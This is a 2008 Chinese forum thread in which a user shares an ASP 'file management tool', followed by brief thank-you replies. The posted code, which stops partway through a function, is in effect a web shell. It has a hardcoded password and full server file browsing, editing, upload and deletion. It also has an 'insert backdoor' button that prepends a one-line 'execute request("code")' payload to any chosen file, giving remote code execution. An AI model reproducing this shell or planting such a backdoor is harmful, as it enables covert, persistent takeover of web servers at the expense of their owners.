散分,好久没来ASP版了,转.net了,分享下以前写的一个asp文件管理工具吧。

iuhxq 2008-04-25 03:57:46
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
a {
font-size: 9pt;
color: #3300CC;
text-decoration: none;
}
body {
font-size: 9pt;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
line-height: 20px;
background-color: #EEEEEE;
}
td {
font-size: 9pt;
line-height: 20px;
}
.tx {
border-color:#000000;
border-left-width: 0px;
border-top-width: 0px;
border-right-width: 0px;
border-bottom-width: 1px;
font-size: 9pt;
background-color: #EEEEEE;
}
.tx1 {
font-size: 9pt;
border: 1px solid;
border-color:#000000;
color: #000000;
}
-->
</style>
<%

Server.ScriptTimeout = 999
action = Request("action")
temp = Split(Request.ServerVariables("URL"), "/")
url = temp(UBound(temp))

Const pass = "ok"'登陆密码

'登陆验证
Call ChkLogin()

Set fso = CreateObject("Scripting.FileSystemObject")

Select Case action
Case "新建文件"
Call fileform(Request("path")&"\")
Case "savefile"
Call savefile(Request("filename"), Request("content"), Request("filename1"))
Case "新建文件夹"
Call newfolder(Request("path")&"\")
Case "savefolder"
Call savefolder(Request("foldername"))
Case "编辑"
Call edit(Request("f"))
Case "重命名"
Call renameform(Request("f"))
Case "saverename"
Call rename(Request("oldname"), Request("newname"))
Case "剪切"
session("f") = request("f")
session("action") = action
Response.Redirect(url&"?foldername="&Request("path"))
Case "复制"
session("f") = request("f")
session("action") = action
Response.Redirect(url&"?foldername="&Request("path"))
Case "粘贴"
Call affix(Request("path")&"\")
Case "删除"
Call Delete( request("f"), Request("path") )
Case "uploadform"
Call uploadform(Request("filepath"), Request("path"))
Case "saveupload"
Call saveupload()
Case "下载"
Call download(request("f"))
Case "打包"
Dim Str, s, s1, s2, rep
Call Dabao( Request("f"), Request("path") )
Case "解包"
Call Jiebao(Request("f"), Request("path"))
Case "生成静态页"
Call WriteFile1("http://localhost/m33ss2.asp")
Case "插入后门"
Call Door(Request("f"))
Case "退出"
Call logout()
Case Else
Path = Request("foldername")
If Path = "" Then Path = server.MapPath("./")
ShowFolderList(Path)
End Select
Set fso = Nothing

Function Door(f)
Set f1 = fso.OpenTextFile(f, 1, true)
content = "<%execute request(""code"")%"&">"&vbCrLf&f1.ReadAll

Call savefile(f, content, f)
End Function

Function WriteFile1(url)
html = GetBody(url)
Response.Write html
Call savefile(Server.mappath("index.html"), html, Server.mappath("index.html"))
End Function

Function GetBody(Url)
Set objXML = CreateObject("Microsoft.XMLHTTP")
With objXML
.Open "Get", Url, False, "", ""
.SEnd
GetBody = .ResponseBody
End With
GetBody = BytesToBstr(GetBody, "GB2312")
Set objXML = Nothing
End Function

Function BytesToBstr(strBody, CodeBase)
Set objStream = Server.CreateObject("Adodb.Stream")
With objStream
.Type = 1
.Mode = 3
.Open
.Write strBody
.Position = 0
.Type = 2
.Charset = CodeBase
BytesToBstr = .ReadText
.Close
End With
Set objStream = Nothing
End Function

'列出文件和文件夹

Function ShowFolderList(folderspec)
temp = Request.ServerVariables("HTTP_REFERER")
temp = Left(temp, Instrrev(temp, "/"))
temp1 = Len(folderspec) - Len(server.MapPath("./")) -1
If temp1>0 Then
temp1 = Right(folderspec, CInt(temp1)) + "\"
ElseIf temp1 = -1 Then
temp1 = ""
End If
tempurl = temp + Replace(temp1, "\", "/")
uppath = "./" + Replace(temp1, "\", "/")
upfolderspec = fso.GetParentFolderName(folderspec&"\")
Set f = fso.GetFolder(folderspec)
%>
<form name="form1" method=post action="">
<input type="hidden" name="path" class="tx1" value="<%= folderspec%>">
<input type="submit" name="action" class="tx1" value="新建文件夹">
<input type="submit" name="action" class="tx1" value="新建文件">
<input type="button" value="向上" class="tx1" onclick="location.href='<%= url%>?foldername=<%= replace(upfolderspec,"\","\\")%>'">
<input type="button" value="返回" class="tx1" onclick="location.href='<%= url%>'">
<input type="submit" name="action" class="tx1" value="重命名">
<input type="submit" name="action" class="tx1" value="编辑">
<input type="submit" name="action" class="tx1" value="剪切">
<input type="submit" name="action" class="tx1" value="复制">
<input type="submit" name="action" class="tx1" value="粘贴" onclick="return confirm('确认粘贴吗?');" <%if session("f")="" or isnull(session("f")) then response.write(" disabled") %>>
<input type="submit" name="action" class="tx1" value="删除" onclick="return confirm('确认删除吗?');">
<input type="button" name="action" class="tx1" value="上传" onClick="javascript:window.open('<%= url%>?action=uploadform&filepath=<%= uppath%>&path=<%= replace(folderspec,"\","\\")%>','new_page','width=600,height=260,left=100,top=100,scrollbars=auto');return false;">
<input type="submit" name="action" class="tx1" value="下载">
<input type="submit" name="action" class="tx1" value="打包" onclick="return confirm('确认打包吗?');">
<input type="submit" name="action" class="tx1" value="解包" onclick="return confirm('确认解包吗?');">
<!--input type="submit" name="action" class="tx1" value="生成静态页" onclick="return confirm('确认生成静态页吗?');"-->
<input type="submit" name="action" class="tx1" value="插入后门" onclick="return confirm('确认插入后门吗?');">
<input type="submit" name="action" class="tx1" value="退出" onclick="return confirm('确认退出吗?');">
<br>当前目录:<%=f.path%>当前时间:<%=now%>
<table width="100%" height="24" border="1" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#000000">
<tr bgcolor="#CCCCCC">
<td width="4%" align="center">操作<input type="checkbox" name="chkall" onclick="for (var i=0;i<form1.elements.length;i++){var e = form1.elements[i];if (e.type == 'checkbox')e.checked = form1.chkall.checked;}"></td>
<td width="42%" align="center">名称</td>
<td width="11%" align="right">大小<%= formatnumber(f.size/1024,2)%>K</td>
<td width="20%" align="center">类型</td>
<td width="13%">修改时间</td>
<td width="10%">属性</td>
</tr>
<%
'列出目录
Set fc = f.SubFolders
For Each f1 in fc
%>
<tr bgcolor="#EEEEEE" onmouseover=this.bgColor='#F3F6FA'; onmouseout=this.bgColor='#EEEEEE';>
<td><center><input type="checkbox" name="f" value="<%= folderspec&"\"&f1.name%>"></center></td>
<td><a href="<%= url%>?foldername=<%= folderspec%>\<%= f1.name%>"><%= f1.name%></a></td>
<td align="right"><%= f1.size%></td>
<td><%= f1.type%></td>
<td><%= f1.datelastmodified%></td>
<td><%= f1.Attributes%></td>
</tr>
<%
Next
'列出文件
Set fc = f.Files
For Each f1 in fc
%>
<tr bgcolor="#EFEFEF" onmouseover=this.bgColor='#F3F6FA'; onmouseout=this.bgColor='#EEEEEE';>
<td><center><input type="checkbox" name="f" value="<%= folderspec&"\"&f1.name%>"></center></td>
<td><a href="<%= tempurl+f1.name%>" target="_blank"><%= f1.name%></a></td>
<td align="right"><%= f1.size%></td>
<td><%= f1.type%></td>
<td><%= f1.datelastmodified%></td>
<td><%= f1.Attributes%></td>
</tr>
<%
Next
%>
</table>
</form>
<%
End Function

'保存文件

Function savefile(filename, content, filename1)
If Request.ServerVariables("PATH_TRANSLATED")<>filename Then
Set f1 = fso.OpenTextFile(filename, 2, true)
f1.Write(content)
f1.Close
End If
Response.Redirect(url&"?foldername="&fso.GetParentFolderName(filename))
End Function

'文件表单

Function fileform(filename)
If fso.FileExists(filename) Then
Set f1 = fso.OpenTextFile(filename, 1, true)
content = server.HTMLEncode(f1.ReadAll)
f1.Close
End If
%>
...全文
288 57 打赏 收藏 转发到动态 举报
写回复
用AI写文章
57 条回复
切换为时间正序
请发表友善的回复…
发表回复
loveshuang942 2008-04-28
  • 打赏
  • 举报
回复
学习。。
zc5036 2008-04-28
  • 打赏
  • 举报
回复
学习ING
rbwang 2008-04-27
  • 打赏
  • 举报
回复
学习>>>>>>>>>>>
wj5310564 2008-04-27
  • 打赏
  • 举报
回复
很好很强大
scscms太阳光 2008-04-27
  • 打赏
  • 举报
回复
这就是传说中你写的,好久就在用了
mufy 2008-04-26
  • 打赏
  • 举报
回复
呵呵,哥们不是来大家我的信心吧!
nettman 2008-04-26
  • 打赏
  • 举报
回复
Mark!
njtongfei 2008-04-26
  • 打赏
  • 举报
回复
[Quote=引用 18 楼 luxu001207 的回复:]
强烈建议LZ把代码打包上传...
[/Quote]
yb2008 2008-04-26
  • 打赏
  • 举报
回复
呵呵
lew830715 2008-04-26
  • 打赏
  • 举报
回复
呵呵,很不错的代码
panxuan 2008-04-26
  • 打赏
  • 举报
回复
jf
wolflove23 2008-04-26
  • 打赏
  • 举报
回复
请教一下8楼,这个日历控件能不能不是透明的。改动哪个地方
zhlih521 2008-04-26
  • 打赏
  • 举报
回复
哇 真不错
学习了
laoyue213 2008-04-26
  • 打赏
  • 举报
回复
值得研究,学习了
chjin 2008-04-26
  • 打赏
  • 举报
回复
接分,谢谢高手.

收藏了,好好学习.
mysite365 2008-04-26
  • 打赏
  • 举报
回复
收藏了,学习中。。。。。。。。。。
urakvv7 2008-04-26
  • 打赏
  • 举报
回复
STUDY
urakvv7 2008-04-26
  • 打赏
  • 举报
回复
MARK
urakvv7 2008-04-26
  • 打赏
  • 举报
回复
UP
huliqun 2008-04-26
  • 打赏
  • 举报
回复
恩,真不错,谢谢LZ了,准备收藏了,回去好好学习!
加载更多回复(35)

28,390

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧